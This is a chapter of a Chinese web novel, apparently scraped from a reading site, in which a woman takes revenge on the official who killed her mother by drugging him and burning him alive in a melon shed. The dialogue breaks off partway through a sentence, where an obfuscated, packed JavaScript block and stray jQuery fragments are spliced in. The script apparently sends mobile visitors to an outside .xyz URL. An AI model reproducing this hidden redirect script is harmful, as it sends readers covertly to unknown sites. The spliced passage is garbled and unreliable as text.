默认冷灰
24号文字
方正启体

55. 报应6

作者:十豆水本书字数:K更新时间:
    款款进屋的女子容貌清丽、身着绫罗,下颌微抬,仪态端方,一看就知是从大户人家走出来的女子。


    但刘达忠并不认识这个女子。


    他甚至一度以为,这或许是娇儿请来的友人,来替娇儿领他去用鲜瓜宴的,于是问:“你是谁?”


    苏荷行至榻前,沉默地看着他。


    闪烁的烛火落到她脸上,令她清丽的容貌里多了几许凌厉。


    张秀花搬了张椅子过来:“小姐,你坐。”


    苏荷坐下了,却仍是不发一言,沉沉盯着榻上的刘达忠。


    刘达忠不明所以,再次问:“娇儿呢?”


    苏荷眉眼微挑:“今夜,没有你的‘娇儿’。”


    刘达忠眉头微蹙:“你此话何意?”


    苏荷的眸中溢出冷光,即便在炎热的夏夜,这抹冷光也让人感受到一股彻骨的寒意。


    她不疾不徐地问:“刘判官可知自己的身子为何会失了力道?”


    刘达忠瞳仁微缩,一时不敢确认自己的感觉。


    这世间想杀他的人太多了,但无论如何,娇儿也断断不会配合外人来谋害自己的父亲。


    他极力挪动身体,嘴边喃喃喊着:“娇儿、刘娇……”


    苏荷俯身,凑近他,近到彼此的瞳仁里都能清晰映出对方的脸孔。


    她说:“刘判官还是别白费力气了,今夜没有刘娇,亦没有鲜瓜宴,今夜之种种,不过是我多年筹谋,为刘判官设下的局而已。”


    她说着转头看向屋内跃动的烛火:“你可看到了那支烛,那可是我特意为刘判官定制的软骨烛,里面掺入了软骨散、松筋粉,燃出的气味吸上一口,便会感觉筋疲力竭,再吸一口,便会力道尽失功力尽散,刘判官今夜怕是走不出这个瓜棚了。”


    刘达忠面如死灰,打量了瓜棚几眼,似有所悟。


    他恼怒地嚷着:“宋声……宋声你这个狗东西。”


    女儿不会害他,但女婿就说不定了,他还是大意了。


    苏荷冷冷一笑:“刘判官别忘了,你与宋声之间可是隔着杀妻大仇啊,他怎会不恨你?”


    刘达忠脸上闪过一缕慌乱:“你……你究竟是何人?”


    苏荷再次往榻前凑近些许:“刘判官好生瞧瞧,再好生想想,看看是否能认出我来。”


    她说着收起笑意,轻抿唇角,将整张脸呈到刘达忠的视线里。


    刘达忠果然在细细打量她,看她的口鼻,看她眼中的恨意。


    但他终究没能认出她来,“想杀我的人有很多,我哪知道你是谁。”


    一旁的张秀花忍无可忍,厉声开口:“你可还记得,永隆十二年夏,你在登闻鼓前杀死的那名女子?”


    刘达忠想了想,仍是想不起来,“实不相瞒,我历年在登闻鼓前杀过不少人,压根儿就没记住过谁是谁,但有一点,死于我刀下者,皆是卑贱之徒,皆是该死之人。”


    他的话透出一股刺骨的恶寒。


    苏荷握拳,脸上的恨意愈盛,“卑贱,就该死吗?”


    刘达忠答:“卑贱,便不值一提。”


    “不值一提”四个字,轻描淡写地盖住了苏雪儿之死。


    轻描淡写地抹去了他的残暴!


    更是轻描淡写地略掉了她这么多年因娘亲之死所承受的痛苦。


    而这个杀人凶手,却连娘亲的名字、连娘亲这个人都想不起来。


    苏荷转头吩咐:“姑姑,倒火油。”


    张秀花沉声回:“好,我这就倒。”说完转身将一罐火油淅淅沥沥洒在瓜棚各处。


    刘达忠面露惶恐:“你要做什么?”


    苏荷轻笑:“没想到刘判官也有怕死的时候。”


    刘达忠声音发颤,“谋害朝廷命官,你当知道有何后果。”


    苏荷在榻前蹲下来,附在他耳边一字一句回:“我自然知道有何后果,故尔筹谋多年才终于得着今夜的机会,刘判官尽管放心,届时没人会知道你究竟死于何人之手。”


    又说:“我也须得让刘判官死个明白,你且记好了,你当日为包庇周家在登闻鼓前杀害的那个女子名叫苏雪儿,而我,则是苏雪儿之女,名叫苏荷。”


    此时张秀花已将火油洒到了榻上,并洒遍刘达忠全身。


    刘达忠惊惶不安,软下语气:“姑娘今日若能网开一面,我定将刘家所有家产悉数赠予姑娘。”


    她记得杜玉庭死前也曾提出以钱赎命。


    他们这些身居高位之人,总以为银钱是万能的。


    “刘判官觉得,银钱能买回我娘亲的性命吗?”


    苏荷冷笑:“当日,刘判官可是没容我娘亲声辩一句便对她一刀割喉啊,今日我容你说了这么多,已算是网开一面了,不过我不会让你死得过于轻松的,葬身火海是我给你特定的死法,届时刘判官会感觉呼吸阻滞、全身巨烈疼痛,直至被活活痛死,就连刘判官死后的尸身,亦是形如枯木、状若焦炭,见者无不惊骇啊。”


    刘达忠听得后背一阵发寒。


    身为判官,他自然知晓被大火烧死后的惨状。


    他不甘心,亦不接受,自己会有这样的下场。


    他生杀予夺、横行半生,多少人靠看他脸色过活。


    即便今日出城之前,他也曾堂而皇之地取走一名仆妇的性命。


    这个世界向来优胜劣汰弱肉强食,命贱者,就该死于强者之手。


    他不过是依天道行事,何错之有?


    他怎能就此折在一个女子手里?


    刘达忠咬了咬牙,屏住气息,暗暗集聚体内功力。


    因为软骨烛的作用,功力难聚,但至少身上有了些力气。


    他破釜沉舟,大喝一声,突然伸臂一把勒住了苏荷的脖子。


    事发突然,苏荷毫无防备,脑袋被勒得抵在榻沿,整个身子瘫坐在地。


    她试图挣扎,但挣扎不脱。


    刘达忠是个五大三粗的男人,又是个练家子,即便中了软骨散,身上仍有一股子蛮力。


    两人一时相持不下。


    张秀花吓傻了。


    呆立片刻后举起手中的火油桶狠狠砸向刘达忠。


    “呯”的一声响,火油桶砸中了刘达忠的脑袋,


    但桶中火油已尽,重量太轻,那空桶瞬间被刘达忠的脑袋弹飞。


    刘达忠斜睨了张秀花一眼,咬了咬牙,一手勒紧苏荷的脖子,一手拿起身侧长刀,重重朝张秀花甩出去。


    张秀花躲闪不及,长刀连带着刀鞘砸中她的额头。


    只听“啊”的一声尖叫,她身子一软,晕倒在地。


    少了一个对手,刘达忠松了口气。


    二人仍在榻前拼死相抗。


    刘达忠因使出蛮力而面色胀红。


    苏荷因呼吸困难而面色胀红。


    刘达忠语气狠戾:“姑娘胆敢要我性命,我便先取了姑娘性命。”


    苏荷沉声答:“我若死了,刘判官必也活不成了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15918038|172640||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”


    刘达忠不屑:“姑娘何必说笑。”


    苏荷一字一顿:“因为除了我,无人可解……软骨散之毒。”


    “危言耸听!”


    “刘判官自可试试看。”


    两人仍是相持不下。


    苏荷在努力将身子往前挪。


    她一往前挪,半卧在榻上的刘达忠也跟着往前挪。


    而刘达忠一挪动,身子便离榻悬空,抬起的头颅便不得不俯下来。


    毕竟中了软骨散,即便他有十成力,眼下也不过只剩两成。


    苏荷继续使劲往前挪。


    直至挪到刘达忠的脑袋与她的脑袋高度相当时,她猝然举高手腕,打开了腕上的手镯,毒粉自手镯中簌簌而下,淅淅沥沥落在了刘达忠鼻际。


    不过片刻,刘达忠彻底失去力道,松开了苏荷。


    他半悬于榻,脑袋往下垂着,脸上净是绝望,“这粉……是何物?”


    苏荷咳了几声,缓了缓。


    随后站起身来,整了整衣冠,又摸了摸自己被勒红的脖子,漫不经心地回:“此乃软骨散粉沫,其毒性是软骨散气味的十倍,刘判官这下可以安心了。”


    刘达忠咬牙切齿:“你……你……”


    “你”了半天,也没“你”出一句话来。


    苏荷继续道:“你放心,软骨散只会让你失去力道,而不会让你失去意识,也就是说,你自始至终都能清醒感受到自己是如何一步步走向死亡的。”


    刘达忠恨极、怒极,却只能无语凝噎。


    苏荷懒得再理他,转身去查看张秀花的情况。


    张秀花不过是被重物击晕,几声轻唤之下,便悠悠醒转过来。


    “小姐没事吧?”她开口便问。


    “我没事,你放心。”苏荷将她扶起来,转头看了眼倒悬在榻上的刘达忠:“咱们该点火了。”


    张秀花也瞟了刘达忠一眼,恨恨道:“狗东西,即刻叫你去见阎王爷。”


    刘达忠浑身颤抖,两·腿间已渗出汩汨尿液,嘴里喃喃唤着:“救……救命……救……救命啊……”


    他的声音在寂静的夜里听来,显得极其吃力,也极其无力。


    苏荷掏出袖间的火折子,轻轻一吹,甩手扔向了床榻。


    火焰在火油的助力下腾空而起。


    同时响起的还有刘达忠歇斯底里的惨叫声……


    每一声惨叫,都让苏荷觉得无比痛快。


    随即,她带着张秀花走出了瓜棚。


    火越烧越大,形成一片汹涌的汪洋。


    刘达忠的惨叫如汪洋里的帆船,时起时落。


    星河黯然、夜幕退隐,整个世界好似都为之失色。


    苏荷抬眸,望向远处那面高高耸立的登闻鼓。


    莹莹夜幕下,它只剩了一个隐隐的轮廓。


    但即便只剩一个轮廓,她亦能清晰忆起当年那血腥一幕。


    苏荷朝着登闻鼓的方向席地而跪,伏身磕了三个响头。


    她对着月光说:“娘亲,你可以安息了。”


    张秀花也一边擦泪一边哽咽:“苏妹妹,荷荷给你报仇了,你可以转世投胎了,来世做个达官贵人家的女儿,别再为奴了。”


    无垠的瓜地里,哭泣声、惨叫声、火光的“噼啪”声彼此交织,这个看似寻常的夜晚,于苏荷而言,却有了不同的意义。


    而在谢家的望乡阁,谢无痕也远远地看到了东城外的这片火光……
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)